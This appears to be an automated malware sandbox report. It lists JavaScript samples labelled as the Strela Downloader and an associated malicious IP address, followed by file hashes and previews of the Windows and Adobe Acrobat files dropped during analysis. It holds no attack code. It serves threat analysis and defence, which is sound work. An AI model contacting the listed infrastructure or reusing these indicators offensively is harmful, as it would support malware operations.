⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	24283946104055016.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26680121751816526037.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82408542104643172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066998744683805
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqg:2JIB/wUKUKQncEmYRTwh08
MD5:	ACD7C555545CA2EB490AFD7575990862
SHA1:	45B06D4D07DB333ED5EDAA714DD68749245BDDCF
SHA-256:	EF92AE9CEDCFFC6E21DC6FEBF9FC449AD87ADDA4BBFD4FB4740A120C9BC363C0
SHA-512:	0B813A736019D6FAAD648CCB01598AFD43E22BCC13C902D44F853ED2BA6322D74EBB9629184E01D75E5B2B429E9AC6568ABAC209BB5D7006F7819D9A36609143
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x36a48092, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.790000140635273
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	B38EDD43DD3EDCA9194E848ACF626A0E
SHA1:	55544C22B1E23443DE1CDFA06ABC67B74B80F3EE
SHA-256:	8C07DEFC9C178453E7114BB1D8366B528EBC2A8E2EF25C809FA461B84BD3F83D
SHA-512:	7AAFB36DEF5B0D351CE6CAB663967AA1273C2D29B3B4B27BE10B493055F7E472C8C5F5275D60E718ED635376513148A3E1017FACD8BE790F8EB516B22FECDE88
Malicious:	false
Preview:	6...... ...............X\...;...{......................0.`.....42...{5..,...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................3..,...}....................m..,...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08168196835561278
Encrypted:	false
SSDEEP:	3:bztEYeQieqt/57Dek3JVQllEqW3l/TjzzQ/t:bxEzBPR3tKmd8/
MD5:	9B8F03021FB471EC7B2F24953BEC2E82
SHA1:	34038FA577B05F6DB4665AACB426A833A10E9E0F
SHA-256:	BF053B5C29D2C21D5D29CE1E6549DC373A7EFA4D5B256418AE73525E3B7EC258
SHA-512:	93C2DD49A13E6B7186E1846DE8FFABFA80551EF03A795D06E2F8FB217278AC91362838BA7C47936CBB3C3049BBA1AF7C8F9A50693750AC28F1A4880C53BFCB1C
Malicious:	false
Preview:	..R......................................;...{...,...}..42...{5.........42...{5.42...{5...Y.42...{59..................m..,...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.216867747285535
Encrypted:	false
SSDEEP:	6:iOWmON+q2PcNwi2nKuAl9OmbnIFUtsmRZmwSmCnVkwOcNwi2nKuAl9OmbjLJ:7WjN+vLZHAahFUtsu/SVV54ZHAaSJ
MD5:	552E106F47B0723058839B8610DE3D80
SHA1:	FFD4DFB196FD48230220D3EBEC5A8A29F8D30FA3
SHA-256:	5251B9F474C7A4A5D8677C60725EB5397FFF7E009F25167F98D8CBB9043EEF8F
SHA-512:	1ED77F0608FE26113A4687021EDA7E9C29E07DF824356279294C2C01ECCE65A35320F90662C79BDD19908BA20BBC4E6406B8A224B6FE103DBA8155320B3B4801
Malicious:	false
Preview:	2025/01/11-02:44:02.333 1f9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:44:02.336 1f9c Recovering log #3.2025/01/11-02:44:02.337 1f9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.216867747285535
Encrypted:	false
SSDEEP:	6:iOWmON+q2PcNwi2nKuAl9OmbnIFUtsmRZmwSmCnVkwOcNwi2nKuAl9OmbjLJ:7WjN+vLZHAahFUtsu/SVV54ZHAaSJ
MD5:	552E106F47B0723058839B8610DE3D80
SHA1:	FFD4DFB196FD48230220D3EBEC5A8A29F8D30FA3
SHA-256:	5251B9F474C7A4A5D8677C60725EB5397FFF7E009F25167F98D8CBB9043EEF8F
SHA-512:	1ED77F0608FE26113A4687021EDA7E9C29E07DF824356279294C2C01ECCE65A35320F90662C79BDD19908BA20BBC4E6406B8A224B6FE103DBA8155320B3B4801
Malicious:	false
Preview:	2025/01/11-02:44:02.333 1f9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:44:02.336 1f9c Recovering log #3.2025/01/11-02:44:02.337 1f9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.190980713458703
Encrypted:	false
SSDEEP:	6:iOWmPSVq2PcNwi2nKuAl9Ombzo2jMGIFUts0gZmwS0IkwOcNwi2nKuAl9Ombzo23:7WnVvLZHAa8uFUts0g/S0I54ZHAa8RJ
MD5:	5AA98F590D934C12A8822ED09E212184
SHA1:	6AE7DE7040C9449DE84A2D1486356B2FCE798532
SHA-256:	6D6D52CAB2770475BA3172725B1B568B275EEBFA6D043168C550F0ACD5A8D37E
SHA-512:	326AE0630A86EF9289828245327A82391D7E8DFF820F609A44598A180F6C810164B2519593E2074AACE09B4C3F9BD7F1CA84EB9F20602E8A894DBFFCB081D3F8
Malicious:	false
Preview:	2025/01/11-02:44:02.394 1664 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:44:02.407 1664 Recovering log #3.2025/01/11-02:44:02.407 1664 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.190980713458703
Encrypted:	false
SSDEEP:	6:iOWmPSVq2PcNwi2nKuAl9Ombzo2jMGIFUts0gZmwS0IkwOcNwi2nKuAl9Ombzo23:7WnVvLZHAa8uFUts0g/S0I54ZHAa8RJ
MD5:	5AA98F590D934C12A8822ED09E212184
SHA1:	6AE7DE7040C9449DE84A2D1486356B2FCE798532
SHA-256:	6D6D52CAB2770475BA3172725B1B568B275EEBFA6D043168C550F0ACD5A8D37E
SHA-512:	326AE0630A86EF9289828245327A82391D7E8DFF820F609A44598A180F6C810164B2519593E2074AACE09B4C3F9BD7F1CA84EB9F20602E8A894DBFFCB081D3F8
Malicious:	false
Preview:	2025/01/11-02:44:02.394 1664 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:44:02.407 1664 Recovering log #3.2025/01/11-02:44:02.407 1664 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\08dc92ff-cdf1-4980-949f-7983c2d04740.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.954982522033707
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRsBdOg2HIR2Zcaq3QYiubSpDyP7E4TX:Y2sRdsfdMHIR2g3QYhbSpDa7n7
MD5:	E6D6A9031CAD741EFB1C080C08850A86
SHA1:	F6D2726DBFDB4E25CAF0E68B2B1269E283E7F2DB
SHA-256:	62B5EF1D81B8BB7100931A824B967A7E7DCD0D9184334CB347B9C9FD2EC293A3
SHA-512:	2A1672973B134D7BD3919A32BCDFB1E3D2D609DFC313A8E8C82066330FD92AD637EF66273F8B49776BBDFFE278A60FA2B02C0426F022795DF1D4F8D71B8A25CD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141453613519","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137992},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF477054.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ab6c34cc-caa7-4153-994e-286f9e4374d8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.233339467446178
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPFAVY9q:CwNw1GHqPySfkcigoO3h28ytPFA+9q
MD5:	90BF83C36090B0D0DFC9EC794790F896
SHA1:	83BBBB380D1DB1EBEAE44A3E058B96FF9BB36A9B
SHA-256:	F5923E10C106ED49BCB1093DF5D1195F3CDCBB73D938AA3A764106EBA1120668
SHA-512:	2527B43B0030299526D1214143F28D6483F070926E1103E2EE1E19AB947015687B28B81F353621EAD270CB7EFC5B0852CD7DCFD47D7086F4684581C2C43C67C5
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.179722487654707
Encrypted:	false
SSDEEP:	6:iOW4UMVq2PcNwi2nKuAl9OmbzNMxIFUtsSTQgZmwSe/IkwOcNwi2nKuAl9OmbzNq:7W4UMVvLZHAa8jFUts5g/SQI54ZHAa8E
MD5:	5E85C81F3779916801EF53B0A3D925D0
SHA1:	D1E1382A0319D8670E78407811DE0868B64FD2FB
SHA-256:	70BF7B6307847060C1B16D4A503936946A65E8668F494407C89F8B92C2454003
SHA-512:	E705C1FB0FC3E3E0D13C4AB783C9526C31831D99616A9AEE67466BD1985A9CC30A26ECC108D3CC1E050A7FBC5A5EAABE6B7B16F604BAFC2E56E3CC2AAC35EA73
Malicious:	false
Preview:	2025/01/11-02:44:02.665 1664 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:44:02.666 1664 Recovering log #3.2025/01/11-02:44:02.667 1664 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.179722487654707
Encrypted:	false
SSDEEP:	6:iOW4UMVq2PcNwi2nKuAl9OmbzNMxIFUtsSTQgZmwSe/IkwOcNwi2nKuAl9OmbzNq:7W4UMVvLZHAa8jFUts5g/SQI54ZHAa8E
MD5:	5E85C81F3779916801EF53B0A3D925D0
SHA1:	D1E1382A0319D8670E78407811DE0868B64FD2FB
SHA-256:	70BF7B6307847060C1B16D4A503936946A65E8668F494407C89F8B92C2454003
SHA-512:	E705C1FB0FC3E3E0D13C4AB783C9526C31831D99616A9AEE67466BD1985A9CC30A26ECC108D3CC1E050A7FBC5A5EAABE6B7B16F604BAFC2E56E3CC2AAC35EA73
Malicious:	false
Preview:	2025/01/11-02:44:02.665 1664 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:44:02.666 1664 Recovering log #3.2025/01/11-02:44:02.667 1664 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.43882818659455
Encrypted:	false
SSDEEP:	384:Sejci5GAiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:MsurVgazUpUTTGt
MD5:	44A5B822269BEF5BAB8C7ED5456B712D
SHA1:	05EE2AE1E5F297B1AFEDA5550542B0C4B6BF8E64
SHA-256:	99492578C0C07CB76DDFC56EFED60E65D51E7D96F493474EF10C9577E48342AC
SHA-512:	46342431B5DA7D18B2A8CAC995EF38C57A67B8FD475F8A7DABEF7E57D329B8AFC09A68C831BF78D517B26AAAECDE3D1525C40619171BC9B3DC14621A56017F96
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.215789674392359
Encrypted:	false
SSDEEP:	24:7+t29cM6wK1qLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9u:7MxMW1qvmFTIF3XmHjBoGGR+jMz+Lh0
MD5:	64BDDAF8D06F7FE7A89BCF454B844834
SHA1:	6AAC119C727E085EEEB6B50BA415964DA3A0ADD4
SHA-256:	91B056834EAB4630AACF70E8601A164348C6D97EB9B3D7F8E7A0875C5146A445
SHA-512:	31CEC6A1B3AE83F7CBB3D5D4AE51F9E3828EC56C927C7C35881F2E64F87E14E7310FA87524E9502A0D3834AF1FD8F98AA0304034255AF91F81F69A83429901BD
Malicious:	false
Preview:	.... .c........6........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklU+KNllltfllXlE/HT8kh/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKNhNl/eT8MVNMa8RdWBwRd
MD5:	DE085C2E300A0AF7597CF95615E36883
SHA1:	15F592B95F2CB787FB8B0095BE9E7BB91DA65E2D
SHA-256:	E3BDEC534E39BAD5D40B87F8F8EB7E438FE44C6B28290206713901B67A3E2B40
SHA-512:	1313D2E1E59A4831FDDB01E9D9D2A1BA96817365AAC8B5FD29317CF64514E972D6BEFCEAF7669DE95F7C9981088A326B7B9CB7970FFF3C9D3E2522CEAD4A43D1
Malicious:	false
Preview:	p...... .........C...c..(....................................................... ..........W....<F..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKIL/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:4iDnLNkPlE99SNxAhUe/3
MD5:	85072DE03D78F823BA8B456C39BB1831
SHA1:	80B99BD6C4365CC98B99EA958DF40DC280264080
SHA-256:	C432062B5FD5813E7C907AD86370ED55541B2D0D03B06816FA00482DC7B826F1
SHA-512:	C050E2FFF35767EF3539E8894732FE4112CFC612916602E21941956953C107EBA1043A7260C00F7072F204C1AB9BC38D00BF5E854685A120B8CDFE5D80F0445F
Malicious:	false
Preview:	p...... .........3..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
